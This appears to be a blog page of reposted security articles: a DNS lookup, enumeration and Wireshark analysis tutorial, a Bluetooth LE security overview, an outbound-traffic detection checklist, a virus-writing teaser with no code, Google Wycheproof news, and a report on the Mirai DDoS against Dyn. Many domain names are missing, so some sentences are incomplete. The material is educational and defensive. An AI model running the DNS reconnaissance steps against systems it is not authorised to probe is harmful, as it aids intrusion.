In this article, we will take a look at the complete DNS process, DNS lookup, DNS reverse lookup, DNS zone transfer, etc. along with some tools to analyze & enumerate DNS traffic.

Domain Name System (DNS) is a naming system used to convert human readable domain names like into a numerical IP address. The process works like this: Let’s assume a user types in their browser and what you see is indeed the infosecinstitute website. But what happens behind the scenes is rather interesting, like how the request got from my browser to the correct domain name?

Well, it is the job of the DNS resolver in the end user system to fetch the IP address for the requested domain. DNS settings can be managed in the following ways in end user system.

But how does the request actually change it to Well, the DNS resolver first checks the local cache to see if it contains any records for the requested IP. The local DNS cache can be checked using command:

ipconfig /displaydns

As you can see since in my cache there is already a request logged for, now for future requests, all the queries to this domain can be fulfilled from local cache until the cache is refreshed and the respective IP is mapped under A record. Now this story seems simple, but how does the cache actually get filled? Yes, you guess it right; it filled when I browse the website, but the 2nd part of the question is still not answered how it actually fetches the website in the first attempt.

In the first attempt to browse a website by domain name, DNS resolver will query the ISP DNS server to look out for records, and if it is not found there, then a recursive DNS query starts which means querying DNS servers till the records are found. These recursive servers contain their own local cache in which they will look for results. Then if the result is still not found then, the query will be directed to root nameserver from where it will be redirected to the Top level domain(TLD) name servers. TLD nameserver reads the request from right to left and directs the query to TLD nameserver such as to .com TLD. Then .com TLD looks out for next part of request like and query will be redirected to authoritative nameserver which surely has the information. For IP address, the information is A record. Remember request is still from the recursive nameserver, so the record is retrieved and stored in the local cache of the nameserver. This answer is further returned to end user computer and is stored in local cache.

Below are some important record types which can very well tell us the nature of NDS request. Some of the important Record Types are:

  • A record: Defines a host address
  • NS record: Authoritative Nameserver
  • MX record: Mail Exchange

For example, below we are using nslookup on

Here we have set type=a and type=ns to display A record and NS record. We can see that is an authoritative name server for However, we will see below that using tool like dnsEnum this all information can be retrieved by default.

For a complete list of the type of records, see here.


  • Forward Lookup: Above process that is we have mentioned is also known as Forward lookup. Take a look at below screenshot

    A very basic example is to use nslookup on, and then IP address is displayed.

    Below is another example of nslookup on which with the usage of type A & NS.

  • Reverse Lookup: As its name suggests, reverse lookup is a determination of domain name from IP address. For ipv4 address, reverse DNS lookups uses special domain for any query and is appended to the IP address for performing a reverse lookup. The reason to use a specific domain for reverse lookup is because how DNS structure is built and for reverse DNS if that structure is followed then it will take too long. This IP address is then read or with some tools mentioned in reverse order for example if we have to perform a reverse lookup for then we need to search for

For example, below we are doing a reverse nslookup on one of Google servers. As you can see that address is reversed and is appended

Below is an example of reverse lookup for infosecinstitute.

Looks like we cannot perform reverse lookup on domain ☺

DNS Analysis in Kali

As we know, Kali distro is specially assembled for pen testers and have some really cool tools available to do pen-test in just a few clicks. For DNS analysis also it has some great tools. Below are some of the tools that can be used for DNS information gathering.

  • Dnsenum

As we can see, we get all the information for infosecinstitute automatically from dnsEnum tool which having to specify the record type that we were doing in nslookup. We can see Host IP address, Nameservers, Mail Servers, etc. In its simplest usage, type dnsenum <domainname>. For more important options like no-reverse type –h as a parameter.

  • Dnsrecon

    Short for DNS reconnaissance, this tool is also present in Kali distro. Below is a screenshot of Dnsrecon in action.

    We can see that dnsrecon gives us a good amount of information on domain We can see record types like A, SOA, MX, NS, TXT and even SRV.

  • Dnstracer

    Dnstracer gives us a map of a complete request from end user machine to NS.

    Here we have the tracing like

    #end-user-machine# <—> #DNS server#<—> Google name server (ns (1|2|3|4)

DNS Structure & Packet Analysis using Wireshark

In this section, we will cover DNS structure and packet Analyses using a very powerful tool known as Wireshark. Many of you reading the article might already be familiar with this tool as it is extremely popular tool mainly because of the wide protocol it supports and for a user-friendly interface.

So let’s take a look at the complete DNS structure in the following examples.

Below is a screenshot for a standard query and response packet in Wireshark. As you can see below is a request for for Records types: Type A and Type AAAA which is simply asking host’s ipv4 address and ipv6 address respectively.

Below is a complete DNS request format for record type A

Important points to note here are:

  • Before DNS protocol notice that UDP is used for source port 54458 and destination port 53.
  • We can see the Response packet no for this query. In this case, it is 30. Also, note the transaction ID. It should match in the response packet.
  • Under Flags:
    • The first bit is set to 0 which means it is a query. Bonus points to you if you can guess what will be set for query response(See below in the response section below)
    • Next, 4 bits are set to 0000 which means that it is a standard DNS query.
    • The 8t bit is set to 1 which means that recursive queries are enabled on our DNS server.
    • 14th Bit is set to 0 which means it will accept authenticated data.
  • Under Queries, you can see that the request is made for for record type A in internet (IN) class.

Similar DNS query for record type AAAA below

Now let’s take a look at the response section. Below is a query response for an earlier query for record type A.

Important points to note in the response structure are:

  • We can see the Request query packet no for this response. Transaction ID is correctly matched to transaction ID within Request query packet.
  • Under Flags:
    • The first bit is set to 1 which means that it is a DNS response packet.
    • Recursive queries are enabled.
    • There is no error in the response query.
  • Also, there is some additional data (name servers) found in the response.
  • There are more sections to Queries and Answers which relates to what was asked from DNS and what is the response. In this example, we have queried IP address for and got the answer:
  • There are some authoritative name servers also found for infosecinstitute.
  • Under Additional Records, we can even see the IP address of these authoritative nameservers.

Below is a similar response to request query for record type AAAA.

Since there will be a lot of data flowing across the monitored interface, we can use Wireshark filter capability to automatically recognize/display only DNS packets (in this case). Below is an interface to create a new filter under Capture>Filters.

Click on + sign to create a new filter. Below is an example where I created a DNS filter to filter traffic destined for port 53.

Notice I did not mention any protocol here because I want to see both UDP and TCP for port 53. As a reminder, TCP 53 is used for zone transfer(AXFR).

Now we will see how to analyze zone transfer in Wireshark.

Below is an example of a zone transfer request to Look out for results below

Since zone transfer happens over TCP, so the first 3 packets you can see is the handshake process happening. After a successful handshake, a DNS standard query for record type AXFR is made. Below is the request query

Notice the query type under queries section. Below is the response packet for this request query.

As you can see that the reply code is 9 which means DNS server is not authoritative to get zones from authoritative name servers which result in connection termination which we can in the below connection termination sequence of TCP packets.

DNS traffic analysis adds a lot of context during the investigation, for example, we can build up Indicators of Compromise based on DNS traffic, we can detect DNS zone transfers and even an organization can look at how much information it has actually revealed about itself. With these analysis results, DNS servers can be hardened.In this article, we have also learned that how looking at DNS records like AAAA, AA; DNS lookups (both forward and reverse); Response Codes; Queries and Answers; Wireshark packet stream feature can really help to set the context for an investigation.

Original Post:

Security Considerations For Bluetooth Smart Devices

Bluetooth Smart is an emerging short range wireless technology aimed for low power devices. Bluetooth 4.2 core specification provides various methods to secure the communication between devices and establish trusted connections.


1. Introduction

Bluetooth smart (also known as Bluetooth low energy or BLE) is introduced in the legacy Bluetooth 4.0 specification by Bluetooth special interest group. Bluetooth smart is primarily designed for low power embedded devices with limited computation capabilities. With expeditious growth in the IoT technology, Bluetooth Low Energy Module has become substantiate criterion for the smart devices.

Bluetooth specification supports the asymmetrical architecture of the LE devices. Memory and processing power requirements of peripheral devices are much lower than the central. This will be a great advantage in case of single mode – peripheral only devices. Device that acts always as peripheral can be designed with low memory, longer battery life and low power consumption. Low power smart wearable devices available in market such as Bluetooth heart rate monitors, blood pressure monitors, fitness kit, smart watches etc. run on a small coin cell battery for years.

2. Low energy, Low security

Like any other wireless technology, BLE is no exception from security threats. While Bluetooth LE beacons bring lots of potential in the IOT design, security threats such as device tracking, eaves dropping, and man in the middle attack are increasing significantly. BLE devices are designed to broadcast MAC, UUID and service information’s at a predefined interval. Due to continuous advertisement, hackers can easily track the device and decode the broadcasting information using a sniffers or even smart phone. Below Figure 1 indicates how a LE device can be tracked by the hacker and steal sensitive data over a period of time across various geographical locations.

With hacking and cybercrime reported enormously all over the world, people are extremely concerned about the privacy. Sensitive data getting in to the hands of the wrong people without user consent may lead to significant damages. For example, if such devices with serious security flaws are deployed in military, it can reveal the secrets to the rivals.

Figure 1 – LE devices without privacy

3. Threats for Bluetooth Smart

Passive Eavesdropping:

Passive eavesdropping is secretly listening to the private communication between two devices in real-time by un-authenticated third party devices (eavesdropping equipment). Using a 2.4GHZ channel sniffer, one can listen to all the communication between BLE devices without the consent of communicating devices. Since eavesdropping does not affect the normal communication between the devices, chances of user noticing eavesdropping attempt are extremely low. If unencrypted message or unsigned messages are used in communication, hacker can get direct access to all the confidential data exchanged between the devices. Pairing procedures are the well-known techniques to avoid the eavesdropping issues and encrypt the messages before exchange. But, if the attacker is listening to the devices during the pairing process itself, then pairing methods can’t assure the safety against the attack!

Man in the Middle (MITM):

In MITM, attacker secretly reads and interprets the messages from the sender and delivers the message to the reader after interpreting it. Since the attacker is actively involved in the communication between the devices, this attack is also known as active eavesdropping. During the course of attack, attacker may insert his own messages or corrupt the data before delivering it to the reader. Devices participating in the connection will assume that they are communicating with each other directly. But an intermediate MITM attacker has complete control over the communication of these devices. Public key cryptography can provide needed protection against MITM. But this method will fail, if an active MITM attacker listens to the shared public key during the initial pairing process and shares his own public Key instead of actual public key. A device which received the public key from attacker has no knowledge about the source of the key and hence it will encrypt and send the next message with the public key shared by the attacker. Now, the attacker can easily decrypt the messages and interpret it. Also, he may optionally decide to encrypt the message using the original public key and deliver to the initiator to keep the communication intact. Below figure-2 indicates how a hacker can attack the communication between two devices in MITM.

Figure 2 – MITM

Identity Tracking:

Bluetooth Low Energy 4.0 devices are designed for periodic advertisement of the status or its existence. Advertisement packet contains the MAC address of the broadcaster and unique service formation. It also contains information about the proximity of the device in terms of the signal strength. Using publicly available advertisement data and characteristics, attacker can extract large amount of information which may help him to track the devices based on these unique information.

Duplicate device:

An attacker with the knowledge of MAC address can make a dummy device with the same MAC address, which runs the dummy service. Such kind of attack is more dangerous in business and may lead to huge loss since customers will not be able to get the intended service.

4. Security architecture:

Security in Host:

Unlike classic Bluetooth, Bluetooth low energy sensors and devices implement the key management and security manager on host instead of controller. All the key generation and distributions of key are taken care by SMP running on host. This approach introduced by Bluetooth specification helps the host to be flexible and reduces the cost and complexity of LE-only controllers. Security manager:

Figure 3 – Security Manager

Bluetooth specification mandates a security manager in the protocol stack implementation. Security manger defines the authentication, pairing, encryption and signing between the Bluetooth low energy devices. This is responsible for all the security and privacy implementations of the BLE stack such as generation and storing various keys, generating random address and address resolution for the privacy feature. Security manager uses the services provided by the L2CAP layer to manage the security. Each device can generate its own key without any external influence and strength of the key is proportional to the algorithm implemented in the device

LE security modes:

Bluetooth Security requirements of the device and services are expressed in terms of security modes and security levels. Each service and device may have separate security requirement. A physical connection between two devices always operates in a single security mode. With wide adoption of 4.2 specifications, secure simple pairing methods have become de-facto requirement for the LE device to ensure security.

LE security mode 1:

Security level-1 and level-2 in these modes supports LE communication without security and encryption without pairing respectively. Level 3 and level 4 provides more security to the system than prior levels. LE secure connection (Level-4) introduced in Bluetooth SIG 4.2 specifications, brings in high security to the LE communication via Elliptic Curve Diffie-Hellman (ECDH) public key cryptography technique.

LE security mode 2:

Devices conform to security mode-2 supports both authenticated and unauthenticated pairing along with mandatory data signing. Data can be signed using various techniques including public key cryptography to ensure the data integrity and security.

Mixed Security mode:

For the devices which need both mode-1 and mode-2 security shall use mixed security mode. This enables the devices to use combination of multiple security modes such as data signing along with ECDH to provide enormous security to the smart devices.

Secure Connection Only mode:

When LE smart devices operates in secure connection only mode they shall use authenticated connection and pairing with encryption. Device shall only accept outgoing and incoming connections for services that use security mode-1, level 4. With this restriction, devices operating in this mode should use ECDH, introduced in 4.2 specifications.

5. Securing Bluetooth Smart: Pairing:

The association is done in three phases, which includes device capability exchange, LTK generation for secure Connection and transport specific key distribution. For legacy devices, STK is used instead of LTK.

Figure 4 – Pairing Process

Phase-1 (capability exchange):

The first step of pairing process is to exchange the identity and capability information to establish a trusted link between LE devices. Master initiates the pairing procedure by sending a pairing request to slaves. If security procedures are not initiated by the master, slave can request master for initiating it. Once the security requests are received by the slave, master re-initiates the pairing process.

Phase-2 (Secure Key Generation):

Selection of pairing method depends on capabilities exchanged in phase-1. Short Term Keys (STK) are generated based on selected pairing method such as just works, passkey entry and out of band. Generated secure key pairs (STK) will be used to establish a secure channel between the participating devices.

In legacy 2.0 standards, PIN based pairing method was introduced. In this method, users must enter the predefined 4-digit PIN code on both the devices. Devices will be paired on successful authentication of the PIN on both ends. These predefined PINs cannot be changed unless the next firmware upgrade. Since it is a fixed number, it is relatively easy for the hackers to interpret the messages and break the security of the system. Later in 2.1 specifications, Secure Simple Pairing (SSP) methods introduced to ensure both security and simplicity

Just Works:

In Just Work method, no key exchange between the devices and no user interaction required. This method is well suited if at-least one of the devices participating in the communication doesn’t have the user interface. This method provides no MITM protection.

Numeric comparison:

If both devices participating in the BLE connection have a display and at-least has Yes/No Key, then numeric comparison method can be used. A 6-digit randomly generated code will be displayed on each device. User need to press Yes/No after manually verifying the key’s displayed.

Pass Key Entry:

This method may be used for the devices with a display and other with the keypad or both devices with at-least numeric keypad. In first case, one device shows the 6-digit number and other receives the 6-digit input from user and in later case both devices receives 6-digit numeric input from the user. On successful authentication devices will be paired and provides MITM protection.

Out of Band:

Out of band pairing method is adopted by Bluetooth standards for the scenarios where both the devices participating in the communication have enabled out of band communication channel. All secret information’s and cryptographic keys will be exchanged out of the Bluetooth band. With the rapid growth of the NFC technology, NFC has become de-facto technology for Bluetooth OOB communications. Since NFC works at 13.56 MHz, Bluetooth sniffers on 2.4GHz bandwidth can’t listen to the information exchanged in the pairing process. Also, NFC is designed to operate over a very small distance up to 10cm, which makes it more suitable for security critical applications to avoid any MITM attacks.

Phase-3 (Transport Specific Key Distribution):

After STK generation and encrypting the links, transport specific keys are distributed. Keys to be distributed are determined by the parameters of pairing request and response. Keys exchanged in this phase may include LTK, IRK, the signature key etc.


Bonding is the process of creating the long term trusted relationship between the devices based on link key generated during pairing process. Long term key’s (LTK) are generated and stored on both the initiator and responder. These LTK’s must be used for all the subsequent communication between the same devices to ensure the data security.

Key Generation:

Host implements the necessary API’s on LE devices to generate the keys such as STK, LTK, IRK, CSRK etc. Unlike classic Bluetooth, controller is not involved any key generation methods in case of BLE. The host generates Private and Public key pair and secure connection will be created by taking the factors from both the devices participating creating the communication. Master and Slave exchanges Identity resolving Key (IRK) for device Identity and Connection Signature Resolving Key (CSRK) for Authentication of unencrypted data.


LE controller uses the keys generated by the host and encrypts the messages. Legacy controllers are designed to support to FIPS compliant 128-bit AES. Latest 4.2 LE specifications introduce Elliptic Curve Diffie-Hellman (ECDH) cryptography over earlier 128-bit AES. ECDH initially exchanges the keys over public insecure channel and then enables the secure channel communication between the devices participating in the process.

Signed Data:

BLE specification supports sending signed data over an unencrypted channel with trusted relationship. Even though devices are not paired, BLE devices can still maintain the privacy of data by signing it. The sender uses CSRK to sign the data and receiver verifies the signature. On successful verification of the signature, the receiver assumes that a message has arrived from a trusted source.

Privacy feature:

Devices are identified by a 48-bit MAC address compliant to IEEE. It is optional for the devices to implement either or both public address and private address. Public device address is broadcasted by the BLE device and hence increases the risk of security. Bluetooth devices provide the privacy feature to reduce the risk of device tracking based on identifier of the device. In legacy BLE systems, host implements the address generation and resolution. According to BLE 4.2 specification, private address generation and resolution are implemented in the controller. Privacy enabled devices are expected to support at-least one of the static device address or private address.

Static device address:

The static device address is randomly generated 48-bit address compliant to Bluetooth SIG specifications. Static address will be changed on every power cycle, and hence reduced the risk of tracking over power cycles. But the devices which are not power cycled for a long time may face higher security risk.

Private address:

Bluetooth SIG compliant private address is the recommended way of providing security to BLE devices. BLE specification supports resolvable private address and non-resolvable private address. Only requirement to have the non-resolvable private address is address shall not be equal to public address of the device. Non resolvable private addresses are typically used for beacons. To generate resolvable private address, devices needs to be paired, exchange the private address and IRK during the pairing process. Only paired devices can resolve this random address and thus possibilities of tracking the device over period of time is nullified. Private address is changed periodically based on a timer event and only a trusted device can resolve this address.

Directed advertising:

In directed advertising devices indicates both MAC address of the advertising device and MAC address of the devices it is advertising to. Advertiser invites the specific trusted device to re-connect, if required. Address used by the advertiser a special private address called as reconnect address. In legacy Bluetooth standards, reconnect address can be changed only based on user actions such as connect, disconnect, device power cycle etc. Latest 4.2 specifications supports timer based update of the reconnect address.

Authentication over proximity:

Received Signal Strength Indicator (RSSI) is the indication of beacon signal strength observed by the receiver. RSSI is a factor of transmitting power of broadcaster and the distance between broadcaster and receiver. As an additional safety measure for the BLE devices, signal strength monitor can be used to extract the distance between the broadcaster and the receiver and BLE devices with predefined range of RSSI only can be selected for communication. This method will reduce the risk of a being tracked or monitored or misleading by a hacker over a long distance. Since RSSI can vary greatly

depending on the usage conditions and environment, this method is specific to the usage conditions and deployment of the products.

Hidden MAC:

Bluetooth SIG introduced 4.2 standards with improved data exchange rate as well as security. Most of the major security features of the classic Bluetooth are adapted to Low Energy specifications. This specification hides the unique MAC address of the devices. Advertising LE devices need not broadcast their MAC address for identification purpose.

6. Conclusion

Compared to Legacy LE standards, 4.2 specifications introduce a new security model along with Secure Simple pairing. Security techniques like MAC address hiding, Elliptic Curve Diffie-Hellman based key exchange and LE secure connections ensures industry standards security for the LE device. Thus Bluetooth SIG 4.2 specifications ensured the smarter privacy approaches for the LE devices and now Bluetooth smart is more secure than ever.

7. References:

Original Post:

Top 8 Things to Analyze in Outbound Packets to Detect Compromised Systems

1. Reputation of destination IPs and domains
• Send IP addresses and DNS names to your SIEM for comparison to black lists
• Look at low volume outliers New IPs and DNS names

2. DNS queries from clients on your network
• First, simply look for outbound DNS queries originating from internal IP not your internal DNS server (domain controller)
• Look at the domain names
• Easy to recognize algorithm generated domain names

3. Suspect traffic patterns
• Look at your destination ports
• Weird outbound protocols and times
• Look at application / protocol mismatches
• Bandwidth imbalance
• Much more outbound than for normal web browsing
• https traffic a black box?
• Think again. Options
• Put an SSL decryptor between endpoints and Internet
• Alert on applications that fail to work with decryptor
• Wealth of information available to analyze even on undecrypted https connections
• Server certificate
• Does it match the DNS name?
• Who is the certification authority?
• Is it self-signed?

4. Unrecognized protocols
• Unknown outbound ports
• SSL traffic that bypasses your proxy server

5. Masquerading protocols
• Traffic doesn’t match application associated with the port
• Why are 7 different apps running on port 53?

6. Known signatures
• This tends to be least effective unless you have a feed of constantly updated rules from proprietary intelligence provider
• Can generate a lot of false positives
• But careful use can be valuable

7. Prohibited protocols

8. DLP indicators
• Searching data payloads for PII patterns
• Regular expressions
• Keywords relevant to proprietary information of your organization
• SSL decryptors helpful here

Original Post:

How to Create a Virus Using the Assembly Language

The art of virus creation seems to be lost. Let’s not confuse a virus for malware, trojan horses, worms, etc. You can make that garbage in any kiddie scripting language and pat yourself on the back, but that doesn’t make you a virus author.
You see, creating a computer virus wasn’t necessarily about destruction. It was about seeing how widespread your virus can go while avoiding detection. It was about being clever enough to outsmart the anti-virus companies. It was about innovation and creativity. A computer virus is like a paper airplane in many regards. You fold your airplane in clever and creative ways and try to make it fly as far as possible before the inevitable landing. Before the world wide web, it was a challenge to distribute a virus. With any luck, it would infect anything beyond your own computer. With even more luck, your virus would gain…

View original post 3,981 more words

Google Released an Open Source Pentesting Tool Called Project Wycheproof

Google this week announced the availability of Project Wycheproof, an open source tool designed for finding known vulnerabilities in popular cryptographic software libraries.

Developed in Java due to its common cryptographic interface, Project Wycheproof includes tests for the most popular crypto algorithms, including AES-EAX, AES-GCM, DH, DHIES, DSA, ECDH, ECDSA, ECIES and RSA. The more than 80 test cases developed by Google experts have led to the discovery of over 40 bugs in RSA, DSA, ECDH and DH.

Google has pointed out that Project Wycheproof is not complete as crypto experts regularly discover new weaknesses in protocols. However, the search giant believes the tool can be useful for developers and users considering that the secure implementation of cryptographic algorithms is not an easy task.

“The main motivation for the project is to have an achievable goal. That’s why we’ve named it after the Mount Wycheproof, the smallest mountain in the world. The smaller the mountain the easier it is to climb it!” Daniel Bleichenbacher and Thai Duong, Google security engineers and Project Wycheproof maintainers, said in a blog post.

While the tool is developed and maintained by members of the Google Security Team, Project Wycheproof is not an official Google product. Contributions are welcome, but those who want to take part in the project have been advised to report the vulnerabilities they find directly to the maintainers of the affected libraries and submit the tests only after the bug has been fixed or acknowledged.

Some of the flaws discovered by Google have yet to be made public as they are still being patched by vendors.

Google also pointed out that some open-source products are covered by its bug bounty program and vulnerabilities found with Project Wycheproof tests could qualify for a reward.

Project Wycheproof is not the only security tool released this year by Google. The company also made available the OSS-Fuzz open source fuzzing service, a Vendor Security Assessment Questionnaire framework, the binary comparison tool BinDiff, and the XSS prevention tools CSP Evaluator and CSP Mitigator.

Original Post:

A DDoS Attack Hit the Dyn Managed DNS: Is Someone Trying To Cause An Internet Takedown?

The Cyber Attack

The Internet is one of the most important critical infrastructures for almost every country in the world. It is a “global commons” on which leverage the most important services of modern society.

Are the modern Internet and its infrastructure resilient to any kind of cyber-attack?

What will happen in the case of a massive a cyber-attack against its backbone?

In a worst scenario, many critical services will go down causing serious damages to the population.

A few hours ago a massive distributed denial-of-service (DDoS) targeted the Managed DNS infrastructure of cloud-based Internet performance management company Dyn.

The attack had a significant impact on Internet users located in the US that were not able to reach popular web services. The list of affected websites includes Twitter, Spotify, SaneBox, Reddit, Box, Github, Zoho CRM, PayPal, Airbnb, Freshbooks,, Pinterest, Heroku and Vox Media properties.

GitHub has notified its users that its upstream DNS provider is under a massive DDoS that caused problems on a global scale.

Figure 1 – GitHub Announcement

Dyn confirmed the DDoS attack against its DNS service that started at 11:10 UTC. The company is still working on mitigating the attack.

The company announced that a DDoS attack hit the Dyn Managed DNS advanced services.

The DDoS attack started at 11:10 UTC, some customers experienced increased DNS query latency and delayed zone propagation during the offensive.

Below is the official Announcement published by the company:

“Update This DDoS attack may also be impacting Dyn Managed DNS advanced services with possible delays in monitoring. Our Engineers are continuing to work on mitigating this issue. 

Oct 21, 16:48 UTC

Investigating – As of 15:52 UTC, we have begun monitoring and mitigating a DDoS attack against our Dyn Managed DNS infrastructure. Our Engineers are continuing to work on mitigating this issue.

Oct 21, 16:06 UTC

Monitoring – Services have been restored to normal as of 13:20 UTC.

Oct 21, 13:36 UTC

Update – This attack is mainly impacting US East and is impacting Managed DNS customers in this region. Our Engineers are continuing to work on mitigating this issue.

Oct 21, 12:45 UTC

Investigating – Starting at 11:10 UTC on October 21st-Friday 2016 we began monitoring and mitigating a DDoS attack against our Dyn Managed DNS infrastructure. Some customers may experience increased DNS query latency and delayed zone propagation during this time. Updates will be posted as information becomes available. ”

In the following graph, it is reported the status of the Twitter service just after the attack, at the time of the writing, the service also was not reachable.

Why is someone attacking the DNS?

DNS act as the authoritative reference for mapping the domain names to IP addresses. It works as an Internet’s phone book that maps human-readable domain names to IP addresses.

In the specific case, Dyn DNS is used by many websites and services as their upstream DNS provider.

Figure 2 – Twitter Status (

The attack had apparently a limited impact on the European and Asian Users, I live in Italy, and here we had initially no problems in reaching some of the affected websites. Anyway, at the time I was writing Github is not reachable, and also European users are experiencing the Dyn DNS outage.

Figure 3 – status-for-dyn (

Extortion or cyber-attack from a nation-state attack?

DDoS attacks continue to represent a serious threat for against the web services and the overall Internet infrastructure.

Although such kind of attack appears very simple to carry on for the attackers, it is often very difficult to mitigate the threat without the support of companies specialized in DDoS mitigation services.

DDoS attacks are powered by large botnets that are able to launch powerful attacks such as the recent ones that hit the websites of the popular investigators, Brian Krebs, peaking 620 Gbps, and the OVH hosting providers. In this last case, the DDoS attack was powered by the Mirai botnet and reached a magnitude never seen before, it peaked 1 Tbps.

According to security experts, the massive DDoS attack that hit the Dyn DNS service was powered by a huge army of hijacked Internet of Things devices.

The security intelligence firm Flashpoint published an interesting post on the massive DDoS in which confirm that its experts have observed the Mirai bots driving the attack against DynDNS.

“Flashpoint has confirmed that some of the infrastructure responsible for the distributed denial-of-service (DDoS) attacks against Dyn DNS were botnets compromised by Mirai malware. Mirai botnets were previously used in DDoS attacks against security researcher Brian Krebs’ blog “Krebs On Security” and French internet service and hosting provider OVH.” reads the analysis published by Flashpoint “Mirai malware targets Internet of Things (IoT) devices like routers, digital video records (DVRs), and webcams/security cameras, enslaving vast numbers of these devices into a botnet, which is then used to conduct DDoS attacks. ”

Below the Key Findings of the report published by Flashpoint

  • Flashpoint has confirmed that some of the infrastructure responsible for the distributed denial-of-service (DDoS) attacks against Dyn DNS were botnets compromised by Mirai malware.
  • Mirai botnets were previously used in DDoS attacks against the “Krebs On Security” blog and OVH.
  • As of 1730 EST, the attacks against Dyn DNS are still ongoing. Flashpoint is coordinating with multiple vendors and law enforcement to track the infected devices that constitute the botnet being used to conduct these attacks.

This is not surprising if we consider that the source code of the botnet was leaked of the popular criminal hacker forum Hackforum earlier October by a user with moniker “Anna-senpai” that shared the link to the source code of the malware “Mirai.”

The Mirai Botnet was first spotted by the researcher MalwareMustDie this summer targeting IoT devices, it mainly targets connected objects such as routers, CCTV, and DVRs.

The availability of the source code of Mirai Botnet in the wild theoretically made possible everyone to power a botnet.

Watch out! The Mirai botnet that powered the attack against the Dyn DNS service is not the same used against Krebs’s site and OVH.

“While Flashpoint has confirmed that Mirai botnets were used in the October 21, 2016, attack against Dyn, they were separate and distinct botnets from those used to execute the DDoS attacks against “Krebs on Security” and OVH. Earlier this month, “Anna_Senpai,” the hacker operating the large Mirai botnet used in the Krebs DDoS, released Mira’s source code online.” continues Flashpoint “Since this release, copycat hackers have used the malware to create botnets of their own in order to launch DDoS attacks.”

If you are interested to know more about the diffusion of the Mirai Botnet you can use this online tracker that reports more than 1.2 Million IPs seen associated with devices infected by the Mirai code in the wild. Consider that isn’t the exact number of infected devices because many of them use dynamic IPs.

Figure 4 – Mirai Botnet Tracker

The risks of cyber-attacks against the Internet infrastructure are concrete, the global network was not designed to be resilient to so powerful cyber-attacks. Many components in its backbone could be easily targeted by well-funded attackers, such as criminal syndicates or nation-state actors.

According to cyber security expert Brian Krebs, the DDoS attack on DYN comes just hours after DYN researcher Doug Madory presented a talk on DDoS attacks at a meeting of the North American Network Operators Group (NANOG) held in Dallas.

Madory and Krebs conducted a joint investigation on the operators behind a DDoS service, named vDOS.

Krebs criticized DDoS mitigation firms that often ignore such powerful attacks, their magnitude is increasing so quickly that make the actual defense often not efficient to mitigate the threat.

“The size of these DDoS attacks has increased so much lately thanks largely to the broad availability of tools for compromising and leveraging the collective firepower of so-called Internet of Things devices — poorly secured Internet-based security cameras, digital video recorders (DVRs) and Internet routers. Last month, a hacker by the name of Anna_Senpai released the source code for Mirai, a crime machine that enslaves IoT devices for use in large DDoS attacks. The 620 Gbps attack that hit my site last month was launched by a botnet built on Mirai, for example,” explained Krebs.

This means that cyber-criminals could be interested in targeting infrastructure with extortion attacks.

“According to a discussion thread started Wednesday on Web Hosting Talk, criminals are now invoking the Mirai author’s nickname in a bid to extort Bitcoins from targeted hosting providers.

“If you do not pay in time, DDoS attack will start, your web-services will go down permanently. After that, price to stop will be increased to 5 BTC with a further increment of 5 BTC for every day of the attack,” wrote Krebs.

We also cannot underestimate the threat represented by state-sponsored hackers.

Early September the popular cyber security expert Bruce Schneier published an interesting post titled “Someone Is Learning How to Take Down the Internet” that reveals an escalation of cyber-attacks against service providers and companies responsible for the basic infrastructure of the Internet.

The experts were referring coordinated attacks that could be powered by hackers aiming to shut down the Internet. Schneier explained that the attacks that experts are observing are a sort of tests to evaluate the resilience of most critical nodes of the global Internet.

The attacks experienced by the companies need a significant effort and huge resources, a circumstance that suggests the involvement of a persistent attacker like a government, and China is the first suspect.

Our society and its economy heavily depend on technology, and the Internet is the privileged vector of the information today. Blocking the Internet could paralyze countless services in almost any industry, from finance to transportation.

Clearly, an attack against the Internet could also be considered as a possible option for a government in an Information warfare context.

“Recently, some of the major companies that provide the basic infrastructure that makes the Internet work have seen an increase in DDoS attacks against them. Moreover, they have seen a certain profile of attacks. These attacks are significantly larger than the ones they’re used to seeing. They last longer. They’re more sophisticated. And they look like probing.” wrote Schneier.

“I am unable to give details because these companies spoke with me on a condition of anonymity. But this all is consistent with what Verisign is reporting. Verisign is the registrar for many popular top-level Internet domains, like .com and .net. If it goes down, there’s a global blackout of all websites and e-mail addresses in the most common top-level domains. Every quarter, Verisign publishes a DDoS trends report. While its publication doesn’t have the level of detail I heard from the companies I spoke with, the trends are the same: “in Q2 2016, attacks continued to become more frequent, persistent, and complex.”

It is clear that attackers aim to cause a global blackout of the most common top-level domains paralyzing a large portion of the Internet.

Schneier, who has spoken with companies that faced the attacks, pointed out powerful DDoS attacks that attacks that stand out of the ordinary for their methodically escalating nature.

According to the experts, recent attacks against the Internet infrastructure start with a certain power that increases as time goes by forcing the victims to deploy all its countermeasures to mitigate the threat.

Schneier cited a report titled “VERISIGN-OBSERVED DDoS ATTACK TRENDS: Q2 2016” that confirms worldwide are experiencing a wave of DDoS attacks even more sophisticated.

Figure 5 – Verisign-Observed DDos Attack Trends: Q2 2016

“DDoS Attacks Become More Sophisticated and Persistent DDoS attacks are a reality for today’s web-reliant organizations. In Q2 2016, DDoS attacks continued to become more frequent, persistent and complex,” states the report.

Schneier also reported other types of attacks against the Internet infrastructure, such as numerous attempts to tamper with Internet addresses and routing.

“One company told me about a variety of probing attacks in addition to the DDoS attacks: testing the ability to manipulate Internet addresses and routes, seeing how long it takes the defenders to respond, and so on. Someone is extensively testing the core defensive capabilities of the companies that provide critical Internet services,” continues Schneier.

Who is behind the attacks?

Schneier speculates that the recent wave of DDoS is powered by a nation-state attacker and he seems to exclude the involvement of hacktivists or cyber criminals, and I agree.

“It doesn’t seem like something an activist, criminal, or researcher would do. Profiling core infrastructure is common practice in espionage and intelligence gathering. It’s not normal for companies to do that. Furthermore, the size and scale of these probes — and especially their persistence — points to state actors,” explains Schneier.

“The attribution of the attacks is very difficult but according the expert data collected on the events suggests that China is behind them.

“Anyway, we have to consider the difficulty of attribute an attack to a specific threat actor. Attackers use to adopt diversionary strategies and false flags in order to make hard the attribution. Let me also add that other governments have such abilities, Russia is one of them and its experts are also able to hide their operations to the security community.

“Both Russia and China are largely investing in building infrastructures that would be resilient to such kind of mass attacks.

“We don’t know where the attacks come from. The data I see suggests China, an assessment shared by the people I spoke with. On the other hand, it’s possible to disguise the country of origin for these sorts of attacks.”

Unfortunately, DDoS attacks like the one that today hit the Dyn DNS service will likely occur again, and we cannot underestimate the risk that threat actors could also exploit design flaws in the core components of the Internet.

